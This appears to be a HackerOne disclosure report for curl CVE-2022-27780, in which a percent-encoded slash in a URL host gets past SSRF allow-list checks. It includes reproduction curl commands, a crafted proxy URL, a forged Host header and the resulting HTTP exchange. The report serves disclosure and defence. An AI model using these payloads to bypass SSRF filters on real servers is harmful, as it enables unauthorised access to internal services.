Lucene search

K
hackeroneHaxatron1H1:1553841
HistoryApr 28, 2022 - 5:26 p.m.

curl: CVE-2022-27780: percent-encoded path separator in URL host

2022-04-2817:26:19
haxatron1
hackerone.com
49

0.001 Low

EPSS

Percentile

34.8%

Summary:

URL decoding the entire proxy string could lead to SSRF filter bypasses. For example,

When the following curl specifies the proxy string http://example.com%2F127.0.0.1

  • If curl URL parser or another RFC3986 compliant parser parses the initial string http://127.0.0.1%2F.example.com, it will derive 127.0.0.1%2Fexample.com or 127.0.0.1/example.com as the host, if for instance, an SSRF check is used to determine if a host ends with .example.com (.example.com being a allow-listed domain), the check will succeed.
  • curl will then URL decode the entire proxy string to http://127.0.0.1/example.com and send it to the server
GET http://127.0.0.1/example.com HTTP/1.1
Host: 127.0.0.1/example.com
User-Agent: curl/7.83.0
Accept: */*
Proxy-Connection: Keep-Alive
  • This proxy string is valid, and proxy servers, even RFC3986-compliant ones will send the request to the host 127.0.0.1

Steps To Reproduce:

I switched things up and used 127.0.0.1 as the allow-listed server and example.com as the target server to make it easier (no need to setup a HTTP server) to reproduce.

  1. I used https://github.com/abhinavsingh/proxy.py as my proxy server.
  2. Perform the following:
curl -x http://127.0.0.1:8899 http://example.com%2F127.0.0.1
  1. You will receive a malformed response
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
         "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
        <head>
                <title>400 - Bad Request</title>
        </head>
        <body>
                <h1>400 - Bad Request</h1>
        &lt;/body&gt;
&lt;/html&gt;

However, this response is actually being returned by example.com, the reason is that proxy.py will forward the Host header, currently 127.0.0.1/example.com curl sends it, making it a Blind SSRF

  1. If
  • an attacker can control the host header either via curl itself
  • the proxy does not forward the host header curl sends,
  • or if servers which ignore the Host header entirely such as Express is used,
    it is possible to read the full response
curl -x http://127.0.0.1:8899 -H "Host: example.com" http://example.com%2F127.0.0.1/%2e%2e/

Recommended Fix:

The recommended fix for this is to not URL decode the host component of the proxy string when passing to proxy server.

Impact

SSRF filter bypass at if the curl URL parser or a RFC 3986 parser is used, it could lead to blind / full SSRF depending on the proxy used.